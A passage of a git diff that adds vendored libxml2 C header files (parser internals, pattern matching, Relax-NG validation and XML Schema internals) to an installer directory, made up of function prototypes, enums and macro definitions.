(xmlParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlParseEntityDecl (xmlParserCtxtPtr ctxt); +XMLPUBFUN int XMLCALL + xmlParseDefaultDecl (xmlParserCtxtPtr ctxt, + xmlChar **value); +XMLPUBFUN xmlEnumerationPtr XMLCALL + xmlParseNotationType (xmlParserCtxtPtr ctxt); +XMLPUBFUN xmlEnumerationPtr XMLCALL + xmlParseEnumerationType (xmlParserCtxtPtr ctxt); +XMLPUBFUN int XMLCALL + xmlParseEnumeratedType (xmlParserCtxtPtr ctxt, + xmlEnumerationPtr *tree); +XMLPUBFUN int XMLCALL + xmlParseAttributeType (xmlParserCtxtPtr ctxt, + xmlEnumerationPtr *tree); +XMLPUBFUN void XMLCALL + xmlParseAttributeListDecl(xmlParserCtxtPtr ctxt); +XMLPUBFUN xmlElementContentPtr XMLCALL + xmlParseElementMixedContentDecl + (xmlParserCtxtPtr ctxt, + int inputchk); +XMLPUBFUN xmlElementContentPtr XMLCALL + xmlParseElementChildrenContentDecl + (xmlParserCtxtPtr ctxt, + int inputchk); +XMLPUBFUN int XMLCALL + xmlParseElementContentDecl(xmlParserCtxtPtr ctxt, + const xmlChar *name, + xmlElementContentPtr *result); +XMLPUBFUN int XMLCALL + xmlParseElementDecl (xmlParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlParseMarkupDecl (xmlParserCtxtPtr ctxt); +XMLPUBFUN int XMLCALL + xmlParseCharRef (xmlParserCtxtPtr ctxt); +XMLPUBFUN xmlEntityPtr XMLCALL + xmlParseEntityRef (xmlParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlParseReference (xmlParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlParsePEReference (xmlParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlParseDocTypeDecl (xmlParserCtxtPtr ctxt); +#ifdef LIBXML_SAX1_ENABLED +XMLPUBFUN const xmlChar * XMLCALL + xmlParseAttribute (xmlParserCtxtPtr ctxt, + xmlChar **value); +XMLPUBFUN const xmlChar * XMLCALL + xmlParseStartTag (xmlParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlParseEndTag (xmlParserCtxtPtr ctxt); +#endif /* LIBXML_SAX1_ENABLED */ +XMLPUBFUN void XMLCALL + xmlParseCDSect (xmlParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlParseContent (xmlParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlParseElement (xmlParserCtxtPtr ctxt); +XMLPUBFUN xmlChar * XMLCALL + xmlParseVersionNum (xmlParserCtxtPtr ctxt); +XMLPUBFUN xmlChar * XMLCALL + xmlParseVersionInfo (xmlParserCtxtPtr ctxt); +XMLPUBFUN xmlChar * XMLCALL + xmlParseEncName (xmlParserCtxtPtr ctxt); +XMLPUBFUN const xmlChar * XMLCALL + xmlParseEncodingDecl (xmlParserCtxtPtr ctxt); +XMLPUBFUN int XMLCALL + xmlParseSDDecl (xmlParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlParseXMLDecl (xmlParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlParseTextDecl (xmlParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlParseMisc (xmlParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlParseExternalSubset (xmlParserCtxtPtr ctxt, + const xmlChar *ExternalID, + const xmlChar *SystemID); +/** + * XML_SUBSTITUTE_NONE: + * + * If no entities need to be substituted. + */ +#define XML_SUBSTITUTE_NONE 0 +/** + * XML_SUBSTITUTE_REF: + * + * Whether general entities need to be substituted. + */ +#define XML_SUBSTITUTE_REF 1 +/** + * XML_SUBSTITUTE_PEREF: + * + * Whether parameter entities need to be substituted. + */ +#define XML_SUBSTITUTE_PEREF 2 +/** + * XML_SUBSTITUTE_BOTH: + * + * Both general and parameter entities need to be substituted. + */ +#define XML_SUBSTITUTE_BOTH 3 + +XMLPUBFUN xmlChar * XMLCALL + xmlStringDecodeEntities (xmlParserCtxtPtr ctxt, + const xmlChar *str, + int what, + xmlChar end, + xmlChar end2, + xmlChar end3); +XMLPUBFUN xmlChar * XMLCALL + xmlStringLenDecodeEntities (xmlParserCtxtPtr ctxt, + const xmlChar *str, + int len, + int what, + xmlChar end, + xmlChar end2, + xmlChar end3); + +/* + * Generated by MACROS on top of parser.c c.f. PUSH_AND_POP. + */ +XMLPUBFUN int XMLCALL nodePush (xmlParserCtxtPtr ctxt, + xmlNodePtr value); +XMLPUBFUN xmlNodePtr XMLCALL nodePop (xmlParserCtxtPtr ctxt); +XMLPUBFUN int XMLCALL inputPush (xmlParserCtxtPtr ctxt, + xmlParserInputPtr value); +XMLPUBFUN xmlParserInputPtr XMLCALL inputPop (xmlParserCtxtPtr ctxt); +XMLPUBFUN const xmlChar * XMLCALL namePop (xmlParserCtxtPtr ctxt); +XMLPUBFUN int XMLCALL namePush (xmlParserCtxtPtr ctxt, + const xmlChar *value); + +/* + * other commodities shared between parser.c and parserInternals. + */ +XMLPUBFUN int XMLCALL xmlSkipBlankChars (xmlParserCtxtPtr ctxt); +XMLPUBFUN int XMLCALL xmlStringCurrentChar (xmlParserCtxtPtr ctxt, + const xmlChar *cur, + int *len); +XMLPUBFUN void XMLCALL xmlParserHandlePEReference(xmlParserCtxtPtr ctxt); +XMLPUBFUN int XMLCALL xmlCheckLanguageID (const xmlChar *lang); + +/* + * Really core function shared with HTML parser. + */ +XMLPUBFUN int XMLCALL xmlCurrentChar (xmlParserCtxtPtr ctxt, + int *len); +XMLPUBFUN int XMLCALL xmlCopyCharMultiByte (xmlChar *out, + int val); +XMLPUBFUN int XMLCALL xmlCopyChar (int len, + xmlChar *out, + int val); +XMLPUBFUN void XMLCALL xmlNextChar (xmlParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL xmlParserInputShrink (xmlParserInputPtr in); + +#ifdef LIBXML_HTML_ENABLED +/* + * Actually comes from the HTML parser but launched from the init stuff. + */ +XMLPUBFUN void XMLCALL htmlInitAutoClose (void); +XMLPUBFUN htmlParserCtxtPtr XMLCALL htmlCreateFileParserCtxt(const char *filename, + const char *encoding); +#endif + +/* + * Specific function to keep track of entities references + * and used by the XSLT debugger. + */ +#ifdef LIBXML_LEGACY_ENABLED +/** + * xmlEntityReferenceFunc: + * @ent: the entity + * @firstNode: the fist node in the chunk + * @lastNode: the last nod in the chunk + * + * Callback function used when one needs to be able to track back the + * provenance of a chunk of nodes inherited from an entity replacement. + */ +typedef void (*xmlEntityReferenceFunc) (xmlEntityPtr ent, + xmlNodePtr firstNode, + xmlNodePtr lastNode); + +XMLPUBFUN void XMLCALL xmlSetEntityReferenceFunc (xmlEntityReferenceFunc func); + +XMLPUBFUN xmlChar * XMLCALL + xmlParseQuotedString (xmlParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlParseNamespace (xmlParserCtxtPtr ctxt); +XMLPUBFUN xmlChar * XMLCALL + xmlNamespaceParseNSDef (xmlParserCtxtPtr ctxt); +XMLPUBFUN xmlChar * XMLCALL + xmlScanName (xmlParserCtxtPtr ctxt); +XMLPUBFUN xmlChar * XMLCALL + xmlNamespaceParseNCName (xmlParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL xmlParserHandleReference(xmlParserCtxtPtr ctxt); +XMLPUBFUN xmlChar * XMLCALL + xmlNamespaceParseQName (xmlParserCtxtPtr ctxt, + xmlChar **prefix); +/** + * Entities + */ +XMLPUBFUN xmlChar * XMLCALL + xmlDecodeEntities (xmlParserCtxtPtr ctxt, + int len, + int what, + xmlChar end, + xmlChar end2, + xmlChar end3); +XMLPUBFUN void XMLCALL + xmlHandleEntity (xmlParserCtxtPtr ctxt, + xmlEntityPtr entity); + +#endif /* LIBXML_LEGACY_ENABLED */ + +#ifdef IN_LIBXML +/* + * internal only + */ +XMLPUBFUN void XMLCALL + xmlErrMemory (xmlParserCtxtPtr ctxt, + const char *extra); +#endif + +#ifdef __cplusplus +} +#endif +#endif /* __XML_PARSER_INTERNALS_H__ */ diff --git a/installer/libxml2/include/libxml/pattern.h b/installer/libxml2/include/libxml/pattern.h new file mode 100644 index 0000000..97d2cd2 --- /dev/null +++ b/installer/libxml2/include/libxml/pattern.h @@ -0,0 +1,100 @@ +/* + * Summary: pattern expression handling + * Description: allows to compile and test pattern expressions for nodes + * either in a tree or based on a parser state. + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_PATTERN_H__ +#define __XML_PATTERN_H__ + +#include +#include +#include + +#ifdef LIBXML_PATTERN_ENABLED + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * xmlPattern: + * + * A compiled (XPath based) pattern to select nodes + */ +typedef struct _xmlPattern xmlPattern; +typedef xmlPattern *xmlPatternPtr; + +/** + * xmlPatternFlags: + * + * This is the set of options affecting the behaviour of pattern + * matching with this module + * + */ +typedef enum { + XML_PATTERN_DEFAULT = 0, /* simple pattern match */ + XML_PATTERN_XPATH = 1<<0, /* standard XPath pattern */ + XML_PATTERN_XSSEL = 1<<1, /* XPath subset for schema selector */ + XML_PATTERN_XSFIELD = 1<<2 /* XPath subset for schema field */ +} xmlPatternFlags; + +XMLPUBFUN void XMLCALL + xmlFreePattern (xmlPatternPtr comp); + +XMLPUBFUN void XMLCALL + xmlFreePatternList (xmlPatternPtr comp); + +XMLPUBFUN xmlPatternPtr XMLCALL + xmlPatterncompile (const xmlChar *pattern, + xmlDict *dict, + int flags, + const xmlChar **namespaces); +XMLPUBFUN int XMLCALL + xmlPatternMatch (xmlPatternPtr comp, + xmlNodePtr node); + +/* streaming interfaces */ +typedef struct _xmlStreamCtxt xmlStreamCtxt; +typedef xmlStreamCtxt *xmlStreamCtxtPtr; + +XMLPUBFUN int XMLCALL + xmlPatternStreamable (xmlPatternPtr comp); +XMLPUBFUN int XMLCALL + xmlPatternMaxDepth (xmlPatternPtr comp); +XMLPUBFUN int XMLCALL + xmlPatternMinDepth (xmlPatternPtr comp); +XMLPUBFUN int XMLCALL + xmlPatternFromRoot (xmlPatternPtr comp); +XMLPUBFUN xmlStreamCtxtPtr XMLCALL + xmlPatternGetStreamCtxt (xmlPatternPtr comp); +XMLPUBFUN void XMLCALL + xmlFreeStreamCtxt (xmlStreamCtxtPtr stream); +XMLPUBFUN int XMLCALL + xmlStreamPushNode (xmlStreamCtxtPtr stream, + const xmlChar *name, + const xmlChar *ns, + int nodeType); +XMLPUBFUN int XMLCALL + xmlStreamPush (xmlStreamCtxtPtr stream, + const xmlChar *name, + const xmlChar *ns); +XMLPUBFUN int XMLCALL + xmlStreamPushAttr (xmlStreamCtxtPtr stream, + const xmlChar *name, + const xmlChar *ns); +XMLPUBFUN int XMLCALL + xmlStreamPop (xmlStreamCtxtPtr stream); +XMLPUBFUN int XMLCALL + xmlStreamWantsAnyNode (xmlStreamCtxtPtr stream); +#ifdef __cplusplus +} +#endif + +#endif /* LIBXML_PATTERN_ENABLED */ + +#endif /* __XML_PATTERN_H__ */ diff --git a/installer/libxml2/include/libxml/relaxng.h b/installer/libxml2/include/libxml/relaxng.h new file mode 100644 index 0000000..f269c9e --- /dev/null +++ b/installer/libxml2/include/libxml/relaxng.h @@ -0,0 +1,217 @@ +/* + * Summary: implementation of the Relax-NG validation + * Description: implementation of the Relax-NG validation + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_RELAX_NG__ +#define __XML_RELAX_NG__ + +#include +#include +#include + +#ifdef LIBXML_SCHEMAS_ENABLED + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct _xmlRelaxNG xmlRelaxNG; +typedef xmlRelaxNG *xmlRelaxNGPtr; + + +/** + * xmlRelaxNGValidityErrorFunc: + * @ctx: the validation context + * @msg: the message + * @...: extra arguments + * + * Signature of an error callback from a Relax-NG validation + */ +typedef void (XMLCDECL *xmlRelaxNGValidityErrorFunc) (void *ctx, + const char *msg, + ...) LIBXML_ATTR_FORMAT(2,3); + +/** + * xmlRelaxNGValidityWarningFunc: + * @ctx: the validation context + * @msg: the message + * @...: extra arguments + * + * Signature of a warning callback from a Relax-NG validation + */ +typedef void (XMLCDECL *xmlRelaxNGValidityWarningFunc) (void *ctx, + const char *msg, + ...) LIBXML_ATTR_FORMAT(2,3); + +/** + * A schemas validation context + */ +typedef struct _xmlRelaxNGParserCtxt xmlRelaxNGParserCtxt; +typedef xmlRelaxNGParserCtxt *xmlRelaxNGParserCtxtPtr; + +typedef struct _xmlRelaxNGValidCtxt xmlRelaxNGValidCtxt; +typedef xmlRelaxNGValidCtxt *xmlRelaxNGValidCtxtPtr; + +/* + * xmlRelaxNGValidErr: + * + * List of possible Relax NG validation errors + */ +typedef enum { + XML_RELAXNG_OK = 0, + XML_RELAXNG_ERR_MEMORY, + XML_RELAXNG_ERR_TYPE, + XML_RELAXNG_ERR_TYPEVAL, + XML_RELAXNG_ERR_DUPID, + XML_RELAXNG_ERR_TYPECMP, + XML_RELAXNG_ERR_NOSTATE, + XML_RELAXNG_ERR_NODEFINE, + XML_RELAXNG_ERR_LISTEXTRA, + XML_RELAXNG_ERR_LISTEMPTY, + XML_RELAXNG_ERR_INTERNODATA, + XML_RELAXNG_ERR_INTERSEQ, + XML_RELAXNG_ERR_INTEREXTRA, + XML_RELAXNG_ERR_ELEMNAME, + XML_RELAXNG_ERR_ATTRNAME, + XML_RELAXNG_ERR_ELEMNONS, + XML_RELAXNG_ERR_ATTRNONS, + XML_RELAXNG_ERR_ELEMWRONGNS, + XML_RELAXNG_ERR_ATTRWRONGNS, + XML_RELAXNG_ERR_ELEMEXTRANS, + XML_RELAXNG_ERR_ATTREXTRANS, + XML_RELAXNG_ERR_ELEMNOTEMPTY, + XML_RELAXNG_ERR_NOELEM, + XML_RELAXNG_ERR_NOTELEM, + XML_RELAXNG_ERR_ATTRVALID, + XML_RELAXNG_ERR_CONTENTVALID, + XML_RELAXNG_ERR_EXTRACONTENT, + XML_RELAXNG_ERR_INVALIDATTR, + XML_RELAXNG_ERR_DATAELEM, + XML_RELAXNG_ERR_VALELEM, + XML_RELAXNG_ERR_LISTELEM, + XML_RELAXNG_ERR_DATATYPE, + XML_RELAXNG_ERR_VALUE, + XML_RELAXNG_ERR_LIST, + XML_RELAXNG_ERR_NOGRAMMAR, + XML_RELAXNG_ERR_EXTRADATA, + XML_RELAXNG_ERR_LACKDATA, + XML_RELAXNG_ERR_INTERNAL, + XML_RELAXNG_ERR_ELEMWRONG, + XML_RELAXNG_ERR_TEXTWRONG +} xmlRelaxNGValidErr; + +/* + * xmlRelaxNGParserFlags: + * + * List of possible Relax NG Parser flags + */ +typedef enum { + XML_RELAXNGP_NONE = 0, + XML_RELAXNGP_FREE_DOC = 1, + XML_RELAXNGP_CRNG = 2 +} xmlRelaxNGParserFlag; + +XMLPUBFUN int XMLCALL + xmlRelaxNGInitTypes (void); +XMLPUBFUN void XMLCALL + xmlRelaxNGCleanupTypes (void); + +/* + * Interfaces for parsing. + */ +XMLPUBFUN xmlRelaxNGParserCtxtPtr XMLCALL + xmlRelaxNGNewParserCtxt (const char *URL); +XMLPUBFUN xmlRelaxNGParserCtxtPtr XMLCALL + xmlRelaxNGNewMemParserCtxt (const char *buffer, + int size); +XMLPUBFUN xmlRelaxNGParserCtxtPtr XMLCALL + xmlRelaxNGNewDocParserCtxt (xmlDocPtr doc); + +XMLPUBFUN int XMLCALL + xmlRelaxParserSetFlag (xmlRelaxNGParserCtxtPtr ctxt, + int flag); + +XMLPUBFUN void XMLCALL + xmlRelaxNGFreeParserCtxt (xmlRelaxNGParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlRelaxNGSetParserErrors(xmlRelaxNGParserCtxtPtr ctxt, + xmlRelaxNGValidityErrorFunc err, + xmlRelaxNGValidityWarningFunc warn, + void *ctx); +XMLPUBFUN int XMLCALL + xmlRelaxNGGetParserErrors(xmlRelaxNGParserCtxtPtr ctxt, + xmlRelaxNGValidityErrorFunc *err, + xmlRelaxNGValidityWarningFunc *warn, + void **ctx); +XMLPUBFUN void XMLCALL + xmlRelaxNGSetParserStructuredErrors( + xmlRelaxNGParserCtxtPtr ctxt, + xmlStructuredErrorFunc serror, + void *ctx); +XMLPUBFUN xmlRelaxNGPtr XMLCALL + xmlRelaxNGParse (xmlRelaxNGParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlRelaxNGFree (xmlRelaxNGPtr schema); +#ifdef LIBXML_OUTPUT_ENABLED +XMLPUBFUN void XMLCALL + xmlRelaxNGDump (FILE *output, + xmlRelaxNGPtr schema); +XMLPUBFUN void XMLCALL + xmlRelaxNGDumpTree (FILE * output, + xmlRelaxNGPtr schema); +#endif /* LIBXML_OUTPUT_ENABLED */ +/* + * Interfaces for validating + */ +XMLPUBFUN void XMLCALL + xmlRelaxNGSetValidErrors(xmlRelaxNGValidCtxtPtr ctxt, + xmlRelaxNGValidityErrorFunc err, + xmlRelaxNGValidityWarningFunc warn, + void *ctx); +XMLPUBFUN int XMLCALL + xmlRelaxNGGetValidErrors(xmlRelaxNGValidCtxtPtr ctxt, + xmlRelaxNGValidityErrorFunc *err, + xmlRelaxNGValidityWarningFunc *warn, + void **ctx); +XMLPUBFUN void XMLCALL + xmlRelaxNGSetValidStructuredErrors(xmlRelaxNGValidCtxtPtr ctxt, + xmlStructuredErrorFunc serror, void *ctx); +XMLPUBFUN xmlRelaxNGValidCtxtPtr XMLCALL + xmlRelaxNGNewValidCtxt (xmlRelaxNGPtr schema); +XMLPUBFUN void XMLCALL + xmlRelaxNGFreeValidCtxt (xmlRelaxNGValidCtxtPtr ctxt); +XMLPUBFUN int XMLCALL + xmlRelaxNGValidateDoc (xmlRelaxNGValidCtxtPtr ctxt, + xmlDocPtr doc); +/* + * Interfaces for progressive validation when possible + */ +XMLPUBFUN int XMLCALL + xmlRelaxNGValidatePushElement (xmlRelaxNGValidCtxtPtr ctxt, + xmlDocPtr doc, + xmlNodePtr elem); +XMLPUBFUN int XMLCALL + xmlRelaxNGValidatePushCData (xmlRelaxNGValidCtxtPtr ctxt, + const xmlChar *data, + int len); +XMLPUBFUN int XMLCALL + xmlRelaxNGValidatePopElement (xmlRelaxNGValidCtxtPtr ctxt, + xmlDocPtr doc, + xmlNodePtr elem); +XMLPUBFUN int XMLCALL + xmlRelaxNGValidateFullElement (xmlRelaxNGValidCtxtPtr ctxt, + xmlDocPtr doc, + xmlNodePtr elem); + +#ifdef __cplusplus +} +#endif + +#endif /* LIBXML_SCHEMAS_ENABLED */ + +#endif /* __XML_RELAX_NG__ */ diff --git a/installer/libxml2/include/libxml/schemasInternals.h b/installer/libxml2/include/libxml/schemasInternals.h new file mode 100644 index 0000000..c7cf552 --- /dev/null +++ b/installer/libxml2/include/libxml/schemasInternals.h @@ -0,0 +1,958 @@ +/* + * Summary: internal interfaces for XML Schemas + * Description: internal interfaces for the XML Schemas handling + * and schema validity checking + * The Schemas development is a Work In Progress. + * Some of those interfaces are not garanteed to be API or ABI stable ! + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + + +#ifndef __XML_SCHEMA_INTERNALS_H__ +#define __XML_SCHEMA_INTERNALS_H__ + +#include + +#ifdef LIBXML_SCHEMAS_ENABLED + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef enum { + XML_SCHEMAS_UNKNOWN = 0, + XML_SCHEMAS_STRING = 1, + XML_SCHEMAS_NORMSTRING = 2, + XML_SCHEMAS_DECIMAL = 3, + XML_SCHEMAS_TIME = 4, + XML_SCHEMAS_GDAY = 5, + XML_SCHEMAS_GMONTH = 6, + XML_SCHEMAS_GMONTHDAY = 7, + XML_SCHEMAS_GYEAR = 8, + XML_SCHEMAS_GYEARMONTH = 9, + XML_SCHEMAS_DATE = 10, + XML_SCHEMAS_DATETIME = 11, + XML_SCHEMAS_DURATION = 12, + XML_SCHEMAS_FLOAT = 13, + XML_SCHEMAS_DOUBLE = 14, + XML_SCHEMAS_BOOLEAN = 15, + XML_SCHEMAS_TOKEN = 16, + XML_SCHEMAS_LANGUAGE = 17, + XML_SCHEMAS_NMTOKEN = 18, + XML_SCHEMAS_NMTOKENS = 19, + XML_SCHEMAS_NAME = 20, + XML_SCHEMAS_QNAME = 21, + XML_SCHEMAS_NCNAME = 22, + XML_SCHEMAS_ID = 23, + XML_SCHEMAS_IDREF = 24, + XML_SCHEMAS_IDREFS = 25, + XML_SCHEMAS_ENTITY = 26, + XML_SCHEMAS_ENTITIES = 27, + XML_SCHEMAS_NOTATION = 28, + XML_SCHEMAS_ANYURI = 29, + XML_SCHEMAS_INTEGER = 30, + XML_SCHEMAS_NPINTEGER = 31, + XML_SCHEMAS_NINTEGER = 32, + XML_SCHEMAS_NNINTEGER = 33, + XML_SCHEMAS_PINTEGER = 34, + XML_SCHEMAS_INT = 35, + XML_SCHEMAS_UINT = 36, + XML_SCHEMAS_LONG = 37, + XML_SCHEMAS_ULONG = 38, + XML_SCHEMAS_SHORT = 39, + XML_SCHEMAS_USHORT = 40, + XML_SCHEMAS_BYTE = 41, + XML_SCHEMAS_UBYTE = 42, + XML_SCHEMAS_HEXBINARY = 43, + XML_SCHEMAS_BASE64BINARY = 44, + XML_SCHEMAS_ANYTYPE = 45, + XML_SCHEMAS_ANYSIMPLETYPE = 46 +} xmlSchemaValType; + +/* + * XML Schemas defines multiple type of types. + */ +typedef enum { + XML_SCHEMA_TYPE_BASIC = 1, /* A built-in datatype */ + XML_SCHEMA_TYPE_ANY, + XML_SCHEMA_TYPE_FACET, + XML_SCHEMA_TYPE_SIMPLE, + XML_SCHEMA_TYPE_COMPLEX, + XML_SCHEMA_TYPE_SEQUENCE = 6, + XML_SCHEMA_TYPE_CHOICE, + XML_SCHEMA_TYPE_ALL, + XML_SCHEMA_TYPE_SIMPLE_CONTENT, + XML_SCHEMA_TYPE_COMPLEX_CONTENT, + XML_SCHEMA_TYPE_UR, + XML_SCHEMA_TYPE_RESTRICTION, + XML_SCHEMA_TYPE_EXTENSION, + XML_SCHEMA_TYPE_ELEMENT, + XML_SCHEMA_TYPE_ATTRIBUTE, + XML_SCHEMA_TYPE_ATTRIBUTEGROUP, + XML_SCHEMA_TYPE_GROUP, + XML_SCHEMA_TYPE_NOTATION, + XML_SCHEMA_TYPE_LIST, + XML_SCHEMA_TYPE_UNION, + XML_SCHEMA_TYPE_ANY_ATTRIBUTE, + XML_SCHEMA_TYPE_IDC_UNIQUE, + XML_SCHEMA_TYPE_IDC_KEY, + XML_SCHEMA_TYPE_IDC_KEYREF, + XML_SCHEMA_TYPE_PARTICLE = 25, + XML_SCHEMA_TYPE_ATTRIBUTE_USE, + XML_SCHEMA_FACET_MININCLUSIVE = 1000, + XML_SCHEMA_FACET_MINEXCLUSIVE, + XML_SCHEMA_FACET_MAXINCLUSIVE, + XML_SCHEMA_FACET_MAXEXCLUSIVE, + XML_SCHEMA_FACET_TOTALDIGITS, + XML_SCHEMA_FACET_FRACTIONDIGITS, + XML_SCHEMA_FACET_PATTERN, + XML_SCHEMA_FACET_ENUMERATION, + XML_SCHEMA_FACET_WHITESPACE, + XML_SCHEMA_FACET_LENGTH, + XML_SCHEMA_FACET_MAXLENGTH, + XML_SCHEMA_FACET_MINLENGTH, + XML_SCHEMA_EXTRA_QNAMEREF = 2000, + XML_SCHEMA_EXTRA_ATTR_USE_PROHIB +} xmlSchemaTypeType; + +typedef enum { + XML_SCHEMA_CONTENT_UNKNOWN = 0, + XML_SCHEMA_CONTENT_EMPTY = 1, + XML_SCHEMA_CONTENT_ELEMENTS, + XML_SCHEMA_CONTENT_MIXED, + XML_SCHEMA_CONTENT_SIMPLE, + XML_SCHEMA_CONTENT_MIXED_OR_ELEMENTS, /* Obsolete */ + XML_SCHEMA_CONTENT_BASIC, + XML_SCHEMA_CONTENT_ANY +} xmlSchemaContentType; + +typedef struct _xmlSchemaVal xmlSchemaVal; +typedef xmlSchemaVal *xmlSchemaValPtr; + +typedef struct _xmlSchemaType xmlSchemaType; +typedef xmlSchemaType *xmlSchemaTypePtr; + +typedef struct _xmlSchemaFacet xmlSchemaFacet; +typedef xmlSchemaFacet *xmlSchemaFacetPtr; + +/** + * Annotation + */ +typedef struct _xmlSchemaAnnot xmlSchemaAnnot; +typedef xmlSchemaAnnot *xmlSchemaAnnotPtr; +struct _xmlSchemaAnnot { + struct _xmlSchemaAnnot *next; + xmlNodePtr content; /* the annotation */ +}; + +/** + * XML_SCHEMAS_ANYATTR_SKIP: + * + * Skip unknown attribute from validation + * Obsolete, not used anymore. + */ +#define XML_SCHEMAS_ANYATTR_SKIP 1 +/** + * XML_SCHEMAS_ANYATTR_LAX: + * + * Ignore validation non definition on attributes + * Obsolete, not used anymore. + */ +#define XML_SCHEMAS_ANYATTR_LAX 2 +/** + * XML_SCHEMAS_ANYATTR_STRICT: + * + * Apply strict validation rules on attributes + * Obsolete, not used anymore. + */ +#define XML_SCHEMAS_ANYATTR_STRICT 3 +/** + * XML_SCHEMAS_ANY_SKIP: + * + * Skip unknown attribute from validation + */ +#define XML_SCHEMAS_ANY_SKIP 1 +/** + * XML_SCHEMAS_ANY_LAX: + * + * Used by wildcards. + * Validate if type found, don't worry if not found + */ +#define XML_SCHEMAS_ANY_LAX 2 +/** + * XML_SCHEMAS_ANY_STRICT: + * + * Used by wildcards. + * Apply strict validation rules + */ +#define XML_SCHEMAS_ANY_STRICT 3 +/** + * XML_SCHEMAS_ATTR_USE_PROHIBITED: + * + * Used by wildcards. + * The attribute is prohibited. + */ +#define XML_SCHEMAS_ATTR_USE_PROHIBITED 0 +/** + * XML_SCHEMAS_ATTR_USE_REQUIRED: + * + * The attribute is required. + */ +#define XML_SCHEMAS_ATTR_USE_REQUIRED 1 +/** + * XML_SCHEMAS_ATTR_USE_OPTIONAL: + * + * The attribute is optional. + */ +#define XML_SCHEMAS_ATTR_USE_OPTIONAL 2 +/** + * XML_SCHEMAS_ATTR_GLOBAL: + * + * allow elements in no namespace + */ +#define XML_SCHEMAS_ATTR_GLOBAL 1 << 0 +/** + * XML_SCHEMAS_ATTR_NSDEFAULT: + * + * allow elements in no namespace + */ +#define XML_SCHEMAS_ATTR_NSDEFAULT 1 << 7 +/** + * XML_SCHEMAS_ATTR_INTERNAL_RESOLVED: + * + * this is set when the "type" and "ref" references + * have been resolved. + */ +#define XML_SCHEMAS_ATTR_INTERNAL_RESOLVED 1 << 8 +/** + * XML_SCHEMAS_ATTR_FIXED: + * + * the attribute has a fixed value + */ +#define XML_SCHEMAS_ATTR_FIXED 1 << 9 + +/** + * xmlSchemaAttribute: + * An attribute definition. + */ + +typedef struct _xmlSchemaAttribute xmlSchemaAttribute; +typedef xmlSchemaAttribute *xmlSchemaAttributePtr; +struct _xmlSchemaAttribute { + xmlSchemaTypeType type; + struct _xmlSchemaAttribute *next; /* the next attribute (not used?) */ + const xmlChar *name; /* the name of the declaration */ + const xmlChar *id; /* Deprecated; not used */ + const xmlChar *ref; /* Deprecated; not used */ + const xmlChar *refNs; /* Deprecated; not used */ + const xmlChar *typeName; /* the local name of the type definition */ + const xmlChar *typeNs; /* the ns URI of the type definition */ + xmlSchemaAnnotPtr annot; + + xmlSchemaTypePtr base; /* Deprecated; not used */ + int occurs; /* Deprecated; not used */ + const xmlChar *defValue; /* The initial value of the value constraint */ + xmlSchemaTypePtr subtypes; /* the type definition */ + xmlNodePtr node; + const xmlChar *targetNamespace; + int flags; + const xmlChar *refPrefix; /* Deprecated; not used */ + xmlSchemaValPtr defVal; /* The compiled value constraint */ + xmlSchemaAttributePtr refDecl; /* Deprecated; not used */ +}; + +/** + * xmlSchemaAttributeLink: + * Used to build a list of attribute uses on complexType definitions. + * WARNING: Deprecated; not used. + */ +typedef struct _xmlSchemaAttributeLink xmlSchemaAttributeLink; +typedef xmlSchemaAttributeLink *xmlSchemaAttributeLinkPtr; +struct _xmlSchemaAttributeLink { + struct _xmlSchemaAttributeLink *next;/* the next attribute link ... */ + struct _xmlSchemaAttribute *attr;/* the linked attribute */ +}; + +/** + * XML_SCHEMAS_WILDCARD_COMPLETE: + * + * If the wildcard is complete. + */ +#define XML_SCHEMAS_WILDCARD_COMPLETE 1 << 0 + +/** + * xmlSchemaCharValueLink: + * Used to build a list of namespaces on wildcards. + */ +typedef struct _xmlSchemaWildcardNs xmlSchemaWildcardNs; +typedef xmlSchemaWildcardNs *xmlSchemaWildcardNsPtr; +struct _xmlSchemaWildcardNs { + struct _xmlSchemaWildcardNs *next;/* the next constraint link ... */ + const xmlChar *value;/* the value */ +}; + +/** + * xmlSchemaWildcard. + * A wildcard. + */ +typedef struct _xmlSchemaWildcard xmlSchemaWildcard; +typedef xmlSchemaWildcard *xmlSchemaWildcardPtr; +struct _xmlSchemaWildcard { + xmlSchemaTypeType type; /* The kind of type */ + const xmlChar *id; /* Deprecated; not used */ + xmlSchemaAnnotPtr annot; + xmlNodePtr node; + int minOccurs; /* Deprecated; not used */ + int maxOccurs; /* Deprecated; not used */ + int processContents; + int any; /* Indicates if the ns constraint is of ##any */ + xmlSchemaWildcardNsPtr nsSet; /* The list of allowed namespaces */ + xmlSchemaWildcardNsPtr negNsSet; /* The negated namespace */ + int flags; +}; + +/** + * XML_SCHEMAS_ATTRGROUP_WILDCARD_BUILDED: + * + * The attribute wildcard has been already builded. + */ +#define XML_SCHEMAS_ATTRGROUP_WILDCARD_BUILDED 1 << 0 +/** + * XML_SCHEMAS_ATTRGROUP_GLOBAL: + * + * The attribute wildcard has been already builded. + */ +#define XML_SCHEMAS_ATTRGROUP_GLOBAL 1 << 1 +/** + * XML_SCHEMAS_ATTRGROUP_MARKED: + * + * Marks the attr group as marked; used for circular checks. + 